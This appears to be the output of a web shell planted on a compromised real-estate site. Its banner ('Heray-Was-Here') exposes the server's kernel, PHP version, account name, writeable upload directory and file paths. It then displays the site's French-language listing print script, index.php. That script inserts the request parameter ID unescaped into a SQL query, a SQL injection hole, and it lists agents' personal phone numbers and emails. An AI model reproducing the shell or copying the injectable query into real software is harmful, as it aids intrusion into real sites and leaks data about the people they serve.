Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/testOLD.alliancerealty.nb.ca/adminAR/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/testOLD.alliancerealty.nb.ca/adminAR/files/index.php
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Print</title>
	<link rel=STYLESHEET href="fs2.css" type="text/css">
</head>

<body>
<?php
	require_once 'config.php';
	//setlocale(LC_MONETARY, 'en_US');
	setlocale(LC_MONETARY, 'fr_CA');
	$Path = '../../';
	
	$ID = $_REQUEST['ID'];
	
	$query = "SELECT p.*, i.parent_id, i.item_name, CONCAT(u.first_name, ' ', u.last_name) AS Agent
		FROM `wp_wpl_properties` p
		LEFT JOIN `wp_wpl_items` i ON p.id = i.parent_id
		LEFT JOIN wp_wpl_users u ON p.user_id = u.id
		WHERE parent_id=".$ID." ORDER BY i.id LIMIT 1";

	$result = mysqli_query($mysqli, $query) or die("SQL Error 1: " . mysqli_error());

	while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
		$img = $Path."/wp-content/uploads/WPL/".$row['parent_id']."/".$row['item_name'];
		$addressFR = $row['field_313_fr_fr'];
		$addressEN = $row['field_313_en_us'];
		$code_postal = $row['location_text'];
		$Dwelling = $row['field_3065'];

		if ($row['n_3048'] == 1) {$neighborhood = 'Edmundston Nord';}
			elseif ($row['n_3046'] == 1) {$neighborhood = 'Edmundston Centre';}
			elseif ($row['n_3047'] == 1) {$neighborhood = 'Edmundston Est';}
			elseif ($row['n_3049'] == 1) {$neighborhood = 'Edmundston Ouest';}
			elseif ($row['n_3051'] == 1) {$neighborhood = 'St-Basile';}
			elseif ($row['n_3053'] == 1) {$neighborhood = 'St-Jacques';}
			elseif ($row['n_3050'] == 1) {$neighborhood = 'Rivière Verte';}
			elseif ($row['n_3056'] == 1) {$neighborhood = 'Haut Madawaska';}
			elseif ($row['n_3054'] == 1) {$neighborhood = 'St-Joseph';}
			elseif ($row['n_3055'] == 1) {$neighborhood = 'Ste-Anne-de-Madawaska';}
			elseif ($row['n_3058'] == 1) {$neighborhood = 'St-Léonard';}
			elseif ($row['n_3052'] == 1) {$neighborhood = 'St-Hilaire';}
			elseif ($row['n_3045'] == 1) {$neighborhood = 'Lac Baker';}
			elseif ($row['n_3059'] == 1) {$neighborhood = 'Verret';}
			elseif ($row['n_3057'] == 1) {$neighborhood = 'Bas Madawaska';}
			else { $neighborhood = 'Quartier non-disponible';}

		$Agent = $row['Agent'];
		$MLS = $row['field_3015'];
		
		if ($Dwelling == 1) {$DwellingFR  = 'Bungalow';}
			elseif ($Dwelling == 2) {$DwellingFR = 'Mi-étage';}
			elseif ($Dwelling == 3) {$DwellingFR = 'Ă€ palier';}
			elseif ($Dwelling == 4) {$DwellingFR = '1 1/2 étage';}
			elseif ($Dwelling == 5) {$DwellingFR = '2 étages';}
			elseif ($Dwelling == 6) {$DwellingFR  = '2 1/2 étages';}
			elseif ($Dwelling == 7) {$DwellingFR  = 'Semi-Détachée';}
			elseif ($Dwelling == 8) {$DwellingFR  = 'Duplex';}
			elseif ($Dwelling == 9) {$DwellingFR  = 'Maison Mobile';}
			elseif ($Dwelling == 10) {$DwellingFR  = 'Mini-Home';}
			elseif ($Dwelling == 11) {$DwellingFR  = 'Condominium';}
			elseif ($Dwelling == 12) {$DwellingFR  = 'Terrain Vacant';}
			elseif ($Dwelling == 13) {$DwellingFR  = 'Édifice à logement';}
			elseif ($Dwelling == 14) {$DwellingFR  = 'A-Frame';}
			elseif ($Dwelling == 15) {$DwellingFR  = 'Appartement';}
			elseif ($Dwelling == 31) {$DwellingFR  = 'Autre';}
			elseif ($Dwelling == 32) {$DwellingFR  = 'Chalet';}
			elseif ($Dwelling == 33) {$DwellingFR  = 'Commercial';}
			else {$DwellingFR  = 'Non disponible';}

		$LotSizeFR = mb_convert_encoding($row['field_3119_fr_fr'], "UTF-8", "HTML-ENTITIES");
		if ($LotSizeFR == '') {$LotSizeFR = 'Non disponible';}
		
		$Service = $row['field_3086'];			
		if ($Service == 1) {$ServiceFR = 'Municipal';}
		elseif ($Service == 2) {$ServiceFR = 'Privé';}
		elseif ($Service == 3) {$ServiceFR = 'Parc';}
		elseif ($Service == 4) {$ServieFR = 'Sans service';}	
		else { $ServiceFR = 'Quartier non-disponible';}
				
		$ZonageFR = $row['field_3086'];	
		
		$ListingType = $row['listing'];
		if ($ListingType == 9) {$ListingTypeFR = 'ImpĂ´ts fonciers';}	
		else { $ListingTypeFR = 'Dépôt de sécurité';}	
		

		$PlusTVH = $row['field_3169'];
		if ($PlusTVH == 1 && $ListingType == 9) {$PriceHeaderFR = 'Prix (plus TVH)';}	
		elseif ($PlusTVH == 0 && $ListingType == 9) { $PriceHeaderFR = 'Prix';}	
		
		$InitialPrice = $row['field_3115'];
		if ($PlusTVH == 1 && $ListingType == 9) {$PriceHeaderFR = 'Prix (plus TVH)';}	
		elseif ($PlusTVH == 0 && $ListingType == 9) { $PriceHeaderFR = 'Prix';}	
		else { $PriceHeaderFR = 'Coût';}
	////////////////////////<CFIF #load_specs.price_txt# GT 0> (<cfif #load_specs.price_txt# is 1>Négociable</CFIF><cfif #load_specs.price_txt# is 2>Non Négociable</CFIF>)</CFIF>
	//////////////<CFELSE>Coût</CFIF>	
		
		
		$Assessed = $row['field_3114'];
		if ($Assessed > 0) {$AssessedFR = $Assessed . ' $';}	
		else {$AssessedFR = 'Non disponible';}	

		$PropertyTax ='';
		//////////////////////
		////////////<CFIF #load_specs.propertytax_txt# GT 0>Non disponible<CFELSE><CFIF rent NEQ 1><cfif #trim("#load_specs.property_taxes#")# gt ''>#LSNumberFormat(load_specs.property_taxes)# $<cfelse>Non disponible</cfif><CFELSE>#LSNumberFormat('#load_specs.security_deposit#field_3168')# $</CFIF></CFIF>
	
		$ActualPrice = $row['price'];
		$RentValue = $row['field_3167'];
		if ($ActualPrice > 0 && $ListingType == 9 && $ActualPrice < $InitialPrice) {$ActualPriceFR = number_format($InitialPrice, 0, ',', ' ').' $ réduit à '.number_format($ActualPrice, 0, ',', ' ').' $';}	
		elseif ($ActualPrice > 0 && $ListingType == 9 && $ActualPrice == $InitialPrice) {$ActualPriceFR = number_format($ActualPrice, 0, ',', ' ').' $';}
		elseif ($ActualPrice > 0 && $ListingType == 10) {$ActualPriceFR = number_format($RentValue, 0, ',', ' ').' $/mois';}

		
		//<CFIF rent NEQ 1><CFIF #load_specs.price# LT #load_specs.initial_price#>#LSNumberFormat('#load_specs.initial_price#')# $ réduit à #LSNumberFormat('#load_specs.price#')# $<CFELSE>#LSNumberFormat('#load_specs.price#')# $</CFIF><CFELSE>#LSNumberFormat('#load_specs.rent_value#')# $/mois</CFIF>
		
		
		$HouseSizeFR = mb_convert_encoding($row['field_3120_fr_fr'], "UTF-8", "HTML-ENTITIES");
		if ($HouseSizeFR == '') {$HouseSizeFR = 'Non disponible';}	

		$DwellingAge = $row['build_year'];
		if ($DwellingAge == '') {$DwellingAge = 'Non disponible';}
		
		$Basement = $row['field_3067'];
		if ($Basement == 1) {$BasementFR = 'Aménagé';}
		elseif ($Basement == 2) {$BasementFR = 'Partiellement fini';}
		elseif ($Basement == 3) {$BasementFR = 'Non-fini';}
		elseif ($Basement == 4) {$BasementFR = 'Vide sanitaire';}
		elseif ($Basement == 5) {$BasementFR = 'Autre';}
		elseif ($Basement == 6) {$BasementFR = 'Aucun';}
		else {$BasementFR = 'Non disponible';}
					
		
		$Roofing = $row['field_3073'];
		$RoofingFR = $row['field_3074_fr_fr'];
		$RoofingOtherFR = $row['field_3113_fr_fr'];
		if ($Roofing == 2) {$RoofingFR = "Bardeau d'asphalte";}
		elseif ($Roofing == 3) {$RoofingFR = 'Goudron - Gravier';}
		elseif ($Roofing == 4) {$RoofingFR = 'Toit de métal';}
		elseif ($Roofing == 5) {$RoofingFR = 'Bardeau de bois';}
		elseif ($Roofing == 6) {$RoofingFR = $RoofingOtherFR;}
		else {$RoofingFR = 'Non disponible';}
		
		
		
		
		
		
		$Garage = $row['field_3072'];
		$GarageDescFR = $row['field_3071_fr_fr'];
		if ($Garage == 1) {$GarageFR = "Non disponible";}
		elseif ($Garage == 7) {$GarageFR = 'Aucun';}
		elseif ($Garage == 2) {$GarageFR = 'Attaché ('.$GarageDescFR.')';}
		elseif ($Garage == 3) {$GarageFR = 'Détaché ('.$GarageDescFR.')';}

		$CarportDescFR = $row['field_3180_fr_fr'];
		if ($CarportDescFR == "") {$CarportDescFR = "Non";}
		
		
		$Driveway = $row['field_3070'];
		if ($Driveway == 1) {$DrivewayFR = "Non disponible";}
		elseif ($Driveway == 2) {$DrivewayFR = 'Pavée';}
		elseif ($Driveway == 3) {$DrivewayFR = 'Gravier';}
		elseif ($Driveway == 5) {$DrivewayFR = 'Concassé';}
		elseif ($Driveway == 6) {$DrivewayFR = 'Pavé-uni';}
		elseif ($Driveway == 7) {$DrivewayFR = 'Béton';}
		elseif ($Driveway == 4) {$DrivewayFR = 'Gravier - Pavée';}
		elseif ($Driveway == 8) {$DrivewayFR = 'Autre';}
		

		$Siding = $row['field_3075'];
		$SidingDescFR = $row['field_3076_fr_fr'];
		if ($Siding == 1) {$SidingFR = "Non disponible";}
		elseif ($Siding == 2) {$SidingFR = 'Bois';}
		elseif ($Siding == 3) {$SidingFR = 'Masonite';}
		elseif ($Siding == 4) {$SidingFR = 'Vinyle';}
		elseif ($Siding == 5) {$SidingFR = 'Aluminium';}
		elseif ($Siding == 6) {$SidingFR = 'Acier';}
		elseif ($Siding == 7) {$SidingFR = 'Stucco';}
		elseif ($Siding == 8) {$SidingFR = 'Brique';}
		elseif ($Siding == 9) {$SidingFR = 'Pierre';}
		elseif ($Siding == 11) {$SidingFR = 'Brique/Vinyle';}
		elseif ($Siding == 14) {$SidingFR = 'Stucco/Vinyle';}
		elseif ($Siding == 18) {$SidingFR = 'Vinyle/Autre';}
		elseif ($Siding == 15) {$SidingFR = 'Canexel';}
		elseif ($Siding == 16) {$SidingFR = 'Canexel/Autre';}
		elseif ($Siding == 12) {$SidingFR = 'Brique/Autre';}
		elseif ($Siding == 17) {$SidingFR = $SidingDescFR;}
		elseif ($Siding == 10) {$SidingFR = 'Pierre/Canexel';}
		elseif ($Siding == 13) {$SidingFR = 'Stucco/Masonite';}

		
		$Windows = $row['field_3077'];
		$WindowsDescFR = $row['field_3117_fr_fr'];
		if ($Windows == 1) {$WindowsFR = "Non disponible";}
		elseif ($Windows == 6) {$WindowsFR = 'PVC';}
		elseif ($Windows == 8) {$WindowsFR = 'Bois';}
		elseif ($Windows == 7) {$WindowsFR = 'PVC/Bois';}
		elseif ($Windows == 2) {$WindowsFR = 'Aluminium';}
		elseif ($Windows == 3) {$WindowsFR = 'Aluminium/PVC';}
		elseif ($Windows == 4) {$WindowsFR = 'Aluminium/Bois';}
		elseif ($Windows == 5) {$WindowsFR = 'Aluminium/Bois/PVC';}
		elseif ($Windows == 9) {$WindowsFR = $WindowsDescFR;}

		
		$Chimney = $row['field_3078'];
		if ($Chimney == 1) {$ChimneyFR = "Non disponible";}
		elseif ($Chimney == 2) {$ChimneyFR = 'Brique';}
		elseif ($Chimney == 3) {$ChimneyFR = 'Bloc de béton';}
		elseif ($Chimney == 4) {$ChimneyFR = 'Métal';}
		elseif ($Chimney == 5) {$ChimneyFR = 'Selkirk';}
		elseif ($Chimney == 6) {$ChimneyFR = 'Pierre';}
		elseif ($Chimney == 7) {$ChimneyFR = 'Autre';}

		
		$Bedrooms = $row['field_3171'];
		$Bathrooms = $row['field_3172'];
		$FloorFR = $row['field_3082_fr_fr'];
	
		
		
		$Plumbing = $row['field_3079'];
		$PlumbingDescFR = $row['field_3080_fr_fr'];
		if ($Plumbing == 1) {$PlumbingFR = "Non disponible";}
		elseif ($Plumbing == 2) {$PlumbingFR = 'ABS - Cuivre';}
		elseif ($Plumbing == 4) {$PlumbingFR = 'ABS - PEX';}
		elseif ($Plumbing == 3) {$PlumbingFR = 'Variée';}
		elseif ($Plumbing == 5) {$PlumbingFR = $PlumbingDescFR;}
		elseif ($Plumbing == 8) {$PlumbingFR = 'ABS - PEX - Cuivre';}
		elseif ($Plumbing == 7) {$PlumbingFR = 'PEX';}		
		//echo '======='.$row['field_3079'];	
		
		$Wiring = $row['field_3084'];
		if ($Wiring == 6) {$WiringFR = "Non disponible";}
		elseif ($Wiring == 1) {$WiringFR = '100 + 60 Amps';}
		elseif ($Wiring == 2) {$WiringFR = '100 Amps';}
		elseif ($Wiring == 3) {$WiringFR = '125 Amps';}
		elseif ($Wiring == 4) {$WiringFR = '100 + 200 Amps';}
		elseif ($Wiring == 5) {$WiringFR = '200 Amps';}
		elseif ($Wiring == 7) {$WiringFR = 'Autre';}
					
		$Wiring2 = $row['field_3112'];
		if ($Wiring2 == 1) {$Wiring2FR = "Non disponible";}
		elseif ($Wiring2 == 2) {$Wiring2FR = 'Disjoncteurs';}
		elseif ($Wiring2 == 3) {$Wiring2FR = 'Fusibles';}		
		

		if ($Wiring != 6 && $Wiring2 > 1) {$WiringDescFR = $WiringFR ."(".$Wiring2FR.")";}
		elseif ($Wiring != 6 && $Wiring2 == 1) {$WiringDescFR = $WiringFR;}
		elseif ($Wiring == 6 && $Wiring2 > 1) {$WiringDescFR = $Wiring2FR;}
		elseif ($Wiring == '' && $Wiring2 == '') {$WiringDescFR = "Non disponible";}
		elseif ($Wiring != '' && $Wiring2 == '') {$WiringDescFR = $WiringFR;}
		
		
		$HeatingDescFR = $row['field_3081_fr_fr'];
		
		$Sunroom = $row['field_3181'];
		if ($Sunroom == 1) {$SunroomFR = '3 saisons';}
		elseif ($Sunroom == 2) {$SunroomFR = '4 saisons';}
		elseif ($Sunroom == 3) {$SunroomFR = "Non disponible";}
		elseif ($Sunroom == '') {$SunroomFR = "Aucun";}
		
		$AirConditioningType = $row['field_3182'];
		if ($AirConditioningType == 1 || $AirConditioningType == '') {$AirConditioningTypeFR = 'Non disponible';}
		elseif ($AirConditioningType == 2) {$AirConditioningTypeFR = 'Centrale';}
		elseif ($AirConditioningType == 3) {$AirConditioningTypeFR = "Murale";}
		elseif ($AirConditioningType == 4) {$AirConditioningTypeFR = "Aucun";}
		
		
		$ItemsFR = $row['field_3017_fr_fr'];

		
		
		$CommentsFR =  mb_convert_encoding($row['field_308_fr_fr'], "UTF-8", "HTML-ENTITIES");
		$RentRemarksFR =  mb_convert_encoding($row['field_3118_fr_fr'], "UTF-8", "HTML-ENTITIES");
		
		
		
		
		
}//while	


echo '<div align="center" style="display:block;width:100%;margin-bottom:10px;"><table class="defaulttable" border="0" cellspacing="0" cellpadding="0">';
echo '<tr><td align="left" VALIGN="middle">';

/*	
<CFIF #load_specs.banner# is "10000_reduction"><img src="/images/banners/10000_reduction_fr.gif" style="position:absolute;margin-top:1;margin-left:2;z-index:100;" /></CFIF>
<CFIF #load_specs.banner# is "35000_reduction"><img src="/images/banners/35000_reduction_fr.gif" style="position:absolute;margin-top:1;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "3_bedrooms"><img src="/images/banners/3_bedrooms_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "4_bedrooms"><img src="/images/banners/4_bedrooms_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "season_cottage"><img src="/images/banners/season_cottage_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "big_lot"><img src="/images/banners/big_lot_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "cashback"><img src="/images/banners/cashback_fr.gif" style="position:absolute;margin-top:1;margin-left:2;z-index:100;" /></CFIF>			
<cfif #load_specs.banner# is "cathedral_ceiling"><img src="/images/banners/cathedral_ceiling_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "close_services"><img src="/images/banners/close_services_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "cottage"><img src="/images/banners/cottage_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "duplex"><img src="/images/banners/duplex_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "fireplace"><img src="/images/banners/fireplace_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "time_market"><img src="/images/banners/time_market_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "quick_sale"><img src="/images/banners/quick_sale_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "handyman_special"><img src="/images/banners/handyman_special_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "high_quality"><img src="/images/banners/high_quality_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "impeccable"><img src="/images/banners/impeccable_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "investor"><img src="/images/banners/investor_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "country"><img src="/images/banners/country_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "renovations"><img src="/images/banners/renovations_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "near_university"><img src="/images/banners/near_university_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "negociable"><img src="/images/banners/negociable_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "new_construction"><img src="/images/banners/new_construction_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "new_listing"><img src="/images/banners/new_listing_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "panoramic_view"><img src="/images/banners/panoramic_view_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "pool"><img src="/images/banners/pool_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "pre-inspected"><img src="/images/banners/pre-inspected_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "prestigious_property"><img src="/images/banners/prestigious_property_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "price_reduced"><img src="/images/banners/price_reduced_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "price_revised"><img src="/images/banners/price_revised_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "renovated"><img src="/images/banners/renovated_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "revenu"><img src="/images/banners/revenu_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "riverside_property"><img src="/images/banners/Riverside_property_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "sold"><img src="/images/banners/sold_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "spacious_property"><img src="/images/banners/spacious_property_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "transfer"><img src="/images/banners/transfer_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "unique"><img src="/images/banners/unique_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>	
<cfif #load_specs.banner# is "urgent"><img src="/images/banners/urgent_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "vacant_lot"><img src="/images/banners/vacant_lot_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "view_river"><img src="/images/banners/view_river_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>
<cfif #load_specs.banner# is "waterfront"><img src="/images/banners/waterfront_fr.gif" style="position:absolute;margin-top:2;margin-left:2;z-index:100;" /></CFIF>

*/







	
if ($img <> "") 
{
	echo '<img src="'.$img.'" width="380" style="border-spacing: 0; border: 2px solid #999; border-radius: 10px;" alt="">';
}
else
{
	'<div align="center">Aucune image disponible</div>';
}
	
		
echo '<div align="center"><b>'. mb_convert_encoding($addressFR, "UTF-8", "HTML-ENTITIES").', '.$code_postal.'</b><br>';

echo '<b>Région : '.$neighborhood.'</b><br></div>';
						 
echo '</td>
<TD>&nbsp;&nbsp;&nbsp;</TD>
<TD ALIGN="left" VALIGN="top" class="texte"><div align="center"><img src="'.$Path.'/wp-content/uploads/2021/06/AllianceRealtyLogo.png" width="150"  alt="" border="0">
<p style="font-size:10px;margin-bottom:20px;"><b>385, rue Victoria<BR>Edmundston, N.-B., E3V 2K3<br>
http://www.alliancerealty.nb.ca</b></p></div>';

if ($Agent == 'Hermance Mercure Laplante')
{	
	echo '<span style="font-size:14px;"><b>Hermance Mercure Laplante</b></span><br>
	<span style="font-size:14px;line-height:1;">Bureau : (506) 735-1850
	<br />Résidence : (506) 263-5550
	<br />Fax : (506) 735-1852
	<br />hermance@alliancerealty.nb.ca</span><BR>';
}

if ($Agent == 'Julien Laplante')
{	
	echo '<span style="font-size:14px;"><b>Julien Laplante</b></span><br>
	<span style="font-size:14px;line-height:1;">Bureau : (506) 735-1850
	<BR>Résidence : (506) 263-5550
	<BR>Cell.: (506) 737-0495
	<BR>Fax : (506) 735-1852
	<BR>julien@alliancerealty.nb.ca</span><br>';
}

if ($Agent == 'Alain Violette')
{	
	echo '<span style="font-size:10px;"><b>Alain Violette</b></span><br>
	<span style="font-size:10px;line-height:1;">Bureau : (506) 735-1850
	<BR>Fax : (506) 735-1852
	<BR>Cell.: (506) 736-9970
	<BR>alain@alliancerealty.nb.ca</span><br>';
}

echo '<br>
<img src="'.$Path.'/wp-content/uploads/2021/06/logo_realtor.gif" width="35" alt="Realtor" border="0" ALIGN="left">';

if ($MLS <> '')
{	
	echo '<div style="text-align:center; margin-top:-3px;">&nbsp;&nbsp;<img src="'.$Path.'/wp-content/uploads/2021/01/sia.gif" width="50" alt="MLS" border="0" align="center">
	<p style="text-align:center; margin-top:-10px;"><b>N<sup>o</sup> : '.$MLS.'</b></p></div>';
}
	
echo '</TD></tr>
	</TABLE></div>';	
	
	
//<CFSET pricerange = #round((#load_specs.price#-5001)/10000)#*10000>
//<CFSET pricerange_2=pricerange+10000>

echo '<div align="center" style="display:block;width:600px;margin:auto;"><table align="center" style="width:100%;">';
///Si tarrain
if ($Dwelling == 12)
{	
	echo '<thead><tr><th colspan="3" ALIGN="center" style="padding:2px;"><span style="font-size:16px;color:white;">SPÉCIFICATION DU TERRAIN</span></th></tr></thead>
	<tbody><tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Grandeur du terrain</b></TD>';
	
	echo '<td WIDTH="33%" style=" text-align:center;padding:2px;"><b>Services (Eau et Égout)</b></TD>
	<td WIDTH="33%" style=" text-align:center;padding:2px;"><b>Zonage</b></TD></TR>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$LotSizeFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">';
	echo $ServiceFR.'</TD>';

	echo '<td style="text-align:center;padding:2px;">'.$ZonageFR.'======</TD></TR>';



	echo '<TR><td style="text-align:center;padding:2px;"><b>Évaluation</b></td>
	<td style="text-align:center;padding:2px;"><b>'.$ListingTypeFR.'</b></td>
	<td style="text-align:center;padding:2px;"><b>'.$PriceHeaderFR.'==========</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$AssessedFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$PropertyTax.'=======</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ActualPriceFR.'</td></TR></tbody>';
	//echo '</table>';
}

	
{	
	echo '<tr><th colspan="3" style="padding:2px;"><span style="font-size:16px;color:white;">SPÉCIFICATIONS DE LA PROPRIÉTÉ</span></th></tr>';
	echo '<tbody><tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Type de propriété</b></td>
	<td style="text-align:center;padding:2px;"><b>Dimension de l&apos;habitation</b></td>
	<td style="text-align:center;padding:2px;"><b>Dimension du terrain</b></td></tr>';
	echo '<tr><td style="text-align:center;padding:2px;">'.$DwellingFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">'.$HouseSizeFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">'.$LotSizeFR.'</td></tr>';




////// RANGÉE 2

	echo '<tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Âge du bâtiment</b></td>
	<td style="text-align:center;padding:2px;"><b>Service</b></td>
	<td style="text-align:center;padding:2px;"><b>Toiture</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$DwellingAge.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ServiceFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$RoofingFR.'</td></tr>';


////// RANGÉE 3 --->
	echo '<tr><td style="text-align:center;padding:2px;"><b>Entrée de voiture</b></TD>
			<td style="text-align:center;padding:2px;"><b>Garage</b></TD>
			<td style="text-align:center;padding:2px;"><b>Abri d&apos;auto</b></TD></TR>';    

	echo '<tr><td style="text-align:center;padding:2px;">'.$Driveway.'</td>';	
	echo '<td style="text-align:center;padding:2px;">'.$GarageFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">'.$CarportDescFR.'</td></tr>';



//////// RANGÉE 4 
	echo '<tr><td style="text-align:center;padding:2px;"><b>RevĂŞtement</b></td>
		<td style="text-align:center;padding:2px;"><b>FenĂŞtre</b></td>
		<td style="text-align:center;padding:2px;"><b>Cheminée</b></td></tr>'; 

	echo '<td style="text-align:center;padding:2px;">'.$SidingFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$WindowsFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$Chimney.'</td></tr>';
	
				
			
////// RANGÉE 5 --->
	echo '<tr><td style="text-align:center;padding:2px;"><b>Évaluation</b></td>
		<td style="text-align:center;padding:2px;"><b>'.$ListingTypeFR.'</b></td>
		<td style="text-align:center;padding:2px;"><b>'.$PriceHeaderFR.'</b></td></tr>'; 

	echo '<td style="text-align:center;padding:2px;">'.$Assessed.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$Assessed.'==========</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ActualPriceFR.'</td></tr>';	
	//echo '</tbody></table>';

	

	
///////////<CFIF rent NEQ 1>Prix<cfif #load_specs.HST# EQ 1> (plus TVH)</CFIF><CFIF #load_specs.price_txt# GT 0> (<cfif #load_specs.price_txt# is 1>Négociable</CFIF><cfif #load_specs.price_txt# is 2>Non Négociable</CFIF>)</CFIF><CFELSE>Coût</CFIF></b></TD></TR>

	
	
////////<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><CFIF #load_specs.assessed_txt# GT 0>Non disponible<CFELSE><cfif #trim("#load_specs.assessed_value#")# NEQ 0>#LSNumberFormat(load_specs.assessed_value)# $<cfelse>Non disponible</cfif></cfif></td>
///////<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin;text-align:center;"><CFIF #load_specs.propertytax_txt# GT 0>Non disponible<CFELSE><CFIF rent NEQ 1><cfif #trim("#load_specs.property_taxes#")# gt ''>#LSNumberFormat(load_specs.property_taxes)# $<cfelse>Non disponible</cfif><CFELSE>#LSNumberFormat('#load_specs.security_deposit#')# $</CFIF></CFIF></td>
//////<td class="texte2 style="text-align:center;"><CFIF rent NEQ 1><CFIF #load_specs.price# LT #load_specs.initial_price#>#LSNumberFormat('#load_specs.initial_price#')# $ réduit à #LSNumberFormat('#load_specs.price#')# $<CFELSE>#LSNumberFormat('#load_specs.price#')# $</CFIF><CFELSE>#LSNumberFormat('#load_specs.rent_value#')# $/mois</CFIF></td></TR>

	
	
	
	
	
	
////////////////INTÉRIEUR
	echo '<tr><th colspan="3" ALIGN="center" style="background: #890D05; padding:4px;font-size:16px;color:white;margin-top:5px;padding:2px;">INTÉRIEUR</th></tr>
	<tbody><tr><td style="text-align:center;padding:2px;"><b>Nombre de chambres</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Nombre de salles de bain</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Plancher</b></td></tr>';	
	
	echo '<tr><td style="text-align:center;padding:2px;">'.($Bedrooms !== '' ?  $Bedrooms : "Non disponible").'</TD>';
